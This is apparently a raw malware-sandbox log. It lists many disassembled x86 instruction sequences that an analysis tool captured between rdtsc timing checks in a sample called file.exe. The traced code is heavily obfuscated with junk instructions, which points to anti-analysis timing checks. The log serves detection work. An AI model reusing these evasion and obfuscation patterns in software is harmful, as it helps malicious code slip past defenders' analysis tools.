Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F823A7 second address: F823C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8247C second address: F82480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82578 second address: F825B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007F60C4EB377Ch 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jmp 00007F60C4EB3783h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F825B9 second address: F82609 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F60C4BB541Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F60C4BB5417h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F60C4BB540Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82609 second address: F8266A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F60C4EB3778h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f pop eax 0x00000010 mov ecx, 1E40EDB6h 0x00000015 mov cx, ax 0x00000018 push 00000003h 0x0000001a mov edx, eax 0x0000001c pushad 0x0000001d jmp 00007F60C4EB3789h 0x00000022 add dword ptr [ebp+122D3206h], ebx 0x00000028 popad 0x00000029 push 00000000h 0x0000002b sub dword ptr [ebp+122D1C2Bh], edi 0x00000031 push 00000003h 0x00000033 stc 0x00000034 clc 0x00000035 push 758FBA7Eh 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F60C4EB3781h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8266A second address: F826B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4A704582h 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop edi 0x00000013 popad 0x00000014 lea ebx, dword ptr [ebp+12448231h] 0x0000001a mov dword ptr [ebp+122D17F1h], edi 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 jo 00007F60C4BB540Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a jnp 00007F60C4BB5406h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8274D second address: F82753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3D3C second address: FA3D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4BB5414h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3D55 second address: FA3D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3D5B second address: FA3D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007F60C4BB541Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F60C4BB5419h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F760D6 second address: F760E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F60C4EB3776h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F760E6 second address: F760F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F60C4BB5406h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F760F2 second address: F76131 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB377Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F60C4EB3776h 0x00000015 jmp 00007F60C4EB3783h 0x0000001a push esi 0x0000001b pop esi 0x0000001c popad 0x0000001d jmp 00007F60C4EB377Bh 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1EFB second address: FA1EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1EFF second address: FA1F05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2021 second address: FA2049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007F60C4BB5417h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jne 00007F60C4BB5406h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2049 second address: FA204D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA235B second address: FA2366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2366 second address: FA2378 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2378 second address: FA2382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F60C4BB5406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2963 second address: FA2967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2967 second address: FA2987 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4BB5415h 0x00000008 jnl 00007F60C4BB5406h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B33 second address: FA2B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B39 second address: FA2B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B3F second address: FA2B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B48 second address: FA2B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B4C second address: FA2B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B50 second address: FA2B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B5C second address: FA2B62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B62 second address: FA2B87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4BB5414h 0x00000008 jbe 00007F60C4BB5406h 0x0000000e jns 00007F60C4BB5406h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2CB0 second address: FA2CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2DE4 second address: FA2E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB540Dh 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F60C4BB540Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jns 00007F60C4BB5406h 0x0000001a jmp 00007F60C4BB5411h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2E17 second address: FA2E2E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F60C4EB377Eh 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2E2E second address: FA2E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F60C4BB5406h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA35FC second address: FA3601 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3601 second address: FA3627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB5418h 0x00000009 pop edi 0x0000000a push esi 0x0000000b jnc 00007F60C4BB5406h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3627 second address: FA3633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3633 second address: FA3639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA391C second address: FA393B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4EB377Eh 0x00000009 js 00007F60C4EB3776h 0x0000000f je 00007F60C4EB3776h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA393B second address: FA395A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F60C4BB5418h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA542C second address: FA5432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8787 second address: FA878D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD639 second address: FAD662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F60C4EB3793h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD8C5 second address: FAD8CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADA13 second address: FADA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADA19 second address: FADA22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADCE7 second address: FADD02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3785h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE013 second address: FAE018 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1852 second address: FB186A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB377Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F60C4EB3784h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1F07 second address: FB1F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F60C4BB5406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1F11 second address: FB1F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1F15 second address: FB1F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1F24 second address: FB1F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1F28 second address: FB1F42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5416h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1F42 second address: FB1F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1F48 second address: FB1F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2646 second address: FB264C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2A90 second address: FB2AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F60C4BB540Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2AA5 second address: FB2AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jng 00007F60C4EB3778h 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F60C4EB3778h 0x00000016 popad 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F60C4EB3778h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 pushad 0x00000033 mov dword ptr [ebp+122DB5F5h], edx 0x00000039 popad 0x0000003a xchg eax, ebx 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2AED second address: FB2AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB38D6 second address: FB38ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4EB3782h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3737 second address: FB373D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB373D second address: FB376D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3780h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F60C4EB3789h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB49BA second address: FB49C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F60C4BB540Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB40BF second address: FB40C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB49C8 second address: FB4A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jne 00007F60C4BB5408h 0x0000000d jmp 00007F60C4BB5411h 0x00000012 popad 0x00000013 nop 0x00000014 sub dword ptr [ebp+122D2EC6h], edi 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d js 00007F60C4BB540Ch 0x00000023 mov dword ptr [ebp+122D2B5Ch], esi 0x00000029 pop edi 0x0000002a push 00000000h 0x0000002c mov edi, ecx 0x0000002e xchg eax, ebx 0x0000002f push ebx 0x00000030 push esi 0x00000031 push esi 0x00000032 pop esi 0x00000033 pop esi 0x00000034 pop ebx 0x00000035 push eax 0x00000036 pushad 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a pop edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jnp 00007F60C4BB5406h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB40C5 second address: FB40C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4A19 second address: FB4A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB6BF4 second address: FB6C0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jmp 00007F60C4EB377Eh 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB6C0E second address: FB6C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5CFA second address: FB5CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7663 second address: FB766C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5CFE second address: FB5D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5D02 second address: FB5D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F60C4BB540Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F60C4BB5406h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB80B2 second address: FB80C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C4EB377Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB80C2 second address: FB80C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC8CE second address: FBC8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC8D6 second address: FBC8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAA50 second address: FBAA57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC8DC second address: FBC900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F60C4BB5417h 0x0000000c je 00007F60C4BB5406h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAA57 second address: FBAAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+12473DA5h], eax 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F60C4EB3778h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 or dword ptr [ebp+122DB616h], ecx 0x0000003e mov eax, dword ptr [ebp+122D07FDh] 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007F60C4EB3778h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e push FFFFFFFFh 0x00000060 call 00007F60C4EB377Dh 0x00000065 jmp 00007F60C4EB3789h 0x0000006a pop edi 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAAF1 second address: FBAB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB5418h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDF6D second address: FBDF88 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F60C4EB3778h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F60C4EB3799h 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F60C4EB3776h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDF88 second address: FBDFE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5417h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F60C4BB5411h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F60C4BB5408h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d xor bx, 21F9h 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jnl 00007F60C4BB540Ch 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDFE8 second address: FBDFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDFEC second address: FBDFF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDFF1 second address: FBDFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE17E second address: FBE18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE18A second address: FBE18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
